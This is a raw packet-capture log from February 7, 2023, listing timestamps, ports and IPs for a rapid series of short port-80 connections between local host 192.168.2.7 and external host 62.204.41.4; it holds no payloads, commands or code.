Feb 7, 2023 23:09:56.685446978 CET	50347	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:56.685491085 CET	50348	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:56.686064959 CET	50348	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:56.750118971 CET	80	50348	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:56.750740051 CET	80	50348	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:56.750888109 CET	50348	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:56.857333899 CET	50348	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:56.858283043 CET	50349	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:56.919194937 CET	80	50349	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:56.919399023 CET	50349	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:56.919992924 CET	80	50348	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:56.920073986 CET	50348	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:56.920228004 CET	50349	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:56.981339931 CET	80	50349	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:56.984253883 CET	80	50349	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:56.984363079 CET	50349	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:57.092055082 CET	50349	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:57.093099117 CET	50350	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:57.158327103 CET	80	50349	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:57.158365965 CET	80	50350	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:57.158413887 CET	50349	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:57.158519030 CET	50350	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:57.159010887 CET	50350	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:57.222332001 CET	80	50350	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:57.224802971 CET	80	50350	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:57.224993944 CET	50350	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:57.340969086 CET	50350	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:57.342324018 CET	50351	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:57.402580023 CET	80	50350	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:57.402616024 CET	80	50351	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:57.402746916 CET	50350	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:57.402816057 CET	50351	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:57.406627893 CET	50351	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:57.466999054 CET	80	50351	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:57.469439030 CET	80	50351	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:57.471477985 CET	50351	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:57.576802015 CET	50351	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:57.577881098 CET	50352	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:57.637387991 CET	80	50351	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:57.638161898 CET	80	50352	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:57.638264894 CET	50351	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:57.638417959 CET	50352	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:57.641139030 CET	50352	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:57.701426983 CET	80	50352	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:57.704109907 CET	80	50352	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:57.706248999 CET	50352	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:57.830200911 CET	50352	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:57.831326962 CET	50353	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:57.890697956 CET	80	50352	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:57.890728951 CET	80	50353	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:57.890876055 CET	50352	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:57.890923977 CET	50353	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:57.891552925 CET	50353	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:57.951056957 CET	80	50353	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:57.953656912 CET	80	50353	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:57.953860998 CET	50353	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:58.069591045 CET	50353	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:58.070724010 CET	50354	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:58.129928112 CET	80	50353	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:58.130616903 CET	50353	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:58.133743048 CET	80	50354	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:58.134824991 CET	50354	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:58.136933088 CET	50354	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:58.199671030 CET	80	50354	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:58.203717947 CET	80	50354	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:58.204130888 CET	50354	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:58.311654091 CET	50354	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:58.312776089 CET	50355	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:58.374548912 CET	80	50354	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:58.375195980 CET	80	50355	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:58.375426054 CET	50354	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:58.375508070 CET	50355	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:58.376240015 CET	50355	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:58.438673019 CET	80	50355	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:58.441500902 CET	80	50355	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:58.441668987 CET	50355	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:58.560184956 CET	50355	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:58.565345049 CET	50356	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:58.622688055 CET	80	50355	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:58.625478029 CET	50355	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:58.627882004 CET	80	50356	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:58.628473043 CET	50356	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:58.629045010 CET	50356	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:58.691348076 CET	80	50356	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:58.693655014 CET	80	50356	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:58.693936110 CET	50356	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:58.809041023 CET	50356	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:58.810028076 CET	50357	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:58.871541977 CET	80	50357	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:58.871591091 CET	80	50356	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:58.871764898 CET	50356	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:58.872292995 CET	50357	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:58.872293949 CET	50357	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:58.933983088 CET	80	50357	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:58.936474085 CET	80	50357	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:58.937660933 CET	50357	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:59.043730021 CET	50357	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:59.044944048 CET	50358	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:59.105336905 CET	80	50357	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:59.106421947 CET	80	50358	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:59.106576920 CET	50357	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:59.106645107 CET	50358	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:59.107326031 CET	50358	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:59.168904066 CET	80	50358	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:59.172822952 CET	80	50358	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:59.173022985 CET	50358	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:59.290535927 CET	50358	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:59.291474104 CET	50359	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:59.351905107 CET	80	50358	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:59.352128029 CET	50358	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:59.353353024 CET	80	50359	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:59.353562117 CET	50359	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:59.354060888 CET	50359	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:59.415646076 CET	80	50359	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:59.417911053 CET	80	50359	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:59.418035030 CET	50359	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:59.527640104 CET	50359	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:59.528515100 CET	50360	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:59.588392973 CET	80	50360	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:59.588656902 CET	50360	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:59.589173079 CET	80	50359	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:59.589303017 CET	50359	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:59.589637995 CET	50360	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:59.649331093 CET	80	50360	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:59.652297020 CET	80	50360	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:59.652440071 CET	50360	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:59.763144016 CET	50360	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:59.764312029 CET	50361	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:59.823189020 CET	80	50360	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:59.823333025 CET	50360	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:59.823740959 CET	80	50361	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:59.823879004 CET	50361	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:59.837622881 CET	50361	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:59.897234917 CET	80	50361	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:59.900100946 CET	80	50361	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:59.900391102 CET	50361	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:00.018191099 CET	50361	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:00.019270897 CET	50362	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:00.078586102 CET	80	50361	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:00.078619957 CET	80	50362	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:00.078782082 CET	50361	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:00.078881979 CET	50362	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:00.086375952 CET	50362	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:00.145809889 CET	80	50362	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:00.150013924 CET	80	50362	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:00.150233984 CET	50362	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:00.270276070 CET	50362	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:00.271064043 CET	50363	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:00.330044985 CET	80	50362	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:00.330339909 CET	50362	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:00.333276033 CET	80	50363	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:00.333568096 CET	50363	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:00.334134102 CET	50363	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:00.396317005 CET	80	50363	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:00.398782969 CET	80	50363	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:00.398958921 CET	50363	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:00.513339996 CET	50363	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:00.515954018 CET	50364	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:00.576023102 CET	80	50363	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:00.576122999 CET	50363	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:00.577224970 CET	80	50364	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:00.577334881 CET	50364	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:00.578597069 CET	50364	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:00.639780998 CET	80	50364	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:00.642594099 CET	80	50364	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:00.642774105 CET	50364	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:00.749846935 CET	50364	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:00.753719091 CET	50365	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:00.811300039 CET	80	50364	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:00.811389923 CET	50364	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:00.816391945 CET	80	50365	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:00.816627026 CET	50365	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:00.817410946 CET	50365	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:00.879879951 CET	80	50365	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:00.882772923 CET	80	50365	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:00.882869005 CET	50365	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:00.998349905 CET	50365	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:00.999440908 CET	50366	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:01.060991049 CET	80	50365	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:01.061023951 CET	80	50366	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:01.061175108 CET	50365	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:01.061258078 CET	50366	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:01.065649986 CET	50366	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:01.127207041 CET	80	50366	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:01.131680012 CET	80	50366	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:01.131798983 CET	50366	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:01.262135029 CET	50366	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:01.263448000 CET	50367	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:01.324207067 CET	80	50366	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:01.324234962 CET	80	50367	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:01.324362993 CET	50366	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:01.324421883 CET	50367	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:01.324979067 CET	50367	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:01.385283947 CET	80	50367	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:01.387620926 CET	80	50367	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:01.387789011 CET	50367	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:01.497293949 CET	50367	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:01.498277903 CET	50368	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:01.557727098 CET	80	50367	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:01.558446884 CET	50367	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:01.560631990 CET	80	50368	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:01.560816050 CET	50368	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:01.561611891 CET	50368	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:01.623953104 CET	80	50368	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:01.627235889 CET	80	50368	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:01.630251884 CET	50368	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:01.748342037 CET	50368	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:01.749349117 CET	50369	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:01.811003923 CET	80	50368	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:01.811317921 CET	50368	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:01.811728954 CET	80	50369	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:01.811845064 CET	50369	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:01.812382936 CET	50369	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:01.874772072 CET	80	50369	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:01.877387047 CET	80	50369	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:01.877607107 CET	50369	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:01.986334085 CET	50369	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:01.987252951 CET	50370	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:02.049048901 CET	80	50369	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:02.049241066 CET	50369	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:02.049622059 CET	80	50370	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:02.049798965 CET	50370	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:02.050257921 CET	50370	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:02.112628937 CET	80	50370	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:02.116446972 CET	80	50370	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:02.116826057 CET	50370	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:02.231391907 CET	50370	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:02.232176065 CET	50371	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:02.291889906 CET	80	50371	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:02.293483973 CET	50371	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:02.294086933 CET	80	50370	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:02.294847965 CET	50371	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:02.294903994 CET	50370	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:02.354536057 CET	80	50371	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:02.357384920 CET	80	50371	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:02.357553005 CET	50371	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:02.464950085 CET	50371	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:02.465631962 CET	50372	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:02.524579048 CET	80	50371	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:02.524765015 CET	50371	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:02.525054932 CET	80	50372	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:02.525160074 CET	50372	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:02.525801897 CET	50372	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:02.585303068 CET	80	50372	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:02.587749004 CET	80	50372	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:02.587821960 CET	50372	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:02.699606895 CET	50372	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:02.700288057 CET	50373	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:02.759268999 CET	80	50372	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:02.759468079 CET	50372	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:02.762456894 CET	80	50373	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:02.762743950 CET	50373	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:02.763122082 CET	50373	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:02.825256109 CET	80	50373	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:02.828680038 CET	80	50373	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:02.828820944 CET	50373	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:02.936356068 CET	50373	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:02.939068079 CET	50374	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:02.998851061 CET	80	50374	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:02.998889923 CET	80	50373	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:02.999073029 CET	50373	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:02.999700069 CET	50374	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:02.999700069 CET	50374	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:03.059469938 CET	80	50374	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:03.064282894 CET	80	50374	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:03.064388037 CET	50374	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:03.168467999 CET	50374	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:03.169254065 CET	50375	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:03.228655100 CET	80	50374	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:03.228823900 CET	50374	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:03.230428934 CET	80	50375	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:03.230561018 CET	50375	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:03.233760118 CET	50375	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:03.295013905 CET	80	50375	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:03.297410011 CET	80	50375	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:03.297590017 CET	50375	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:03.403485060 CET	50375	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:03.404719114 CET	50376	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:03.465240002 CET	80	50376	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:03.465303898 CET	80	50375	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:03.465373039 CET	50376	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:03.465426922 CET	50375	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:03.465876102 CET	50376	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:03.526169062 CET	80	50376	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:03.528662920 CET	80	50376	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:03.528830051 CET	50376	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:03.637604952 CET	50376	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:03.638601065 CET	50377	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:03.698045969 CET	80	50376	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:03.698241949 CET	50376	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:03.699807882 CET	80	50377	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:03.699954033 CET	50377	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:03.701998949 CET	50377	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:03.763183117 CET	80	50377	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:03.765979052 CET	80	50377	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:03.766123056 CET	50377	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:03.875154018 CET	50377	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:03.876236916 CET	50378	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:03.936496973 CET	80	50377	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:03.936644077 CET	50377	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:03.937697887 CET	80	50378	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:03.937863111 CET	50378	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:03.940155983 CET	50378	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:04.001540899 CET	80	50378	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:04.004148006 CET	80	50378	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:04.004224062 CET	50378	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:04.121018887 CET	50378	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:04.122621059 CET	50379	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:04.182521105 CET	80	50378	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:04.182789087 CET	50378	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:04.183139086 CET	80	50379	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:04.183232069 CET	50379	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:04.185148001 CET	50379	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:04.245711088 CET	80	50379	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:04.248972893 CET	80	50379	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:04.249069929 CET	50379	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:04.356481075 CET	50379	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:04.357203007 CET	50380	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:04.417305946 CET	80	50379	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:04.418603897 CET	50379	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:04.419715881 CET	80	50380	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:04.419883013 CET	50380	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:04.421525002 CET	50380	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:04.483913898 CET	80	50380	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:04.488599062 CET	80	50380	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:04.490875006 CET	50380	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:04.607199907 CET	50380	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:04.608099937 CET	50381	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:04.668539047 CET	80	50381	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:04.669589996 CET	80	50380	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:04.669656992 CET	50381	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:04.669694901 CET	50380	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:04.673243999 CET	50381	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:04.733680964 CET	80	50381	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:04.736589909 CET	80	50381	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:04.738926888 CET	50381	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:04.860878944 CET	50381	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:04.861692905 CET	50382	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:04.921509981 CET	80	50381	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:04.921663046 CET	50381	80	192.168.2.7	62.204.41.4
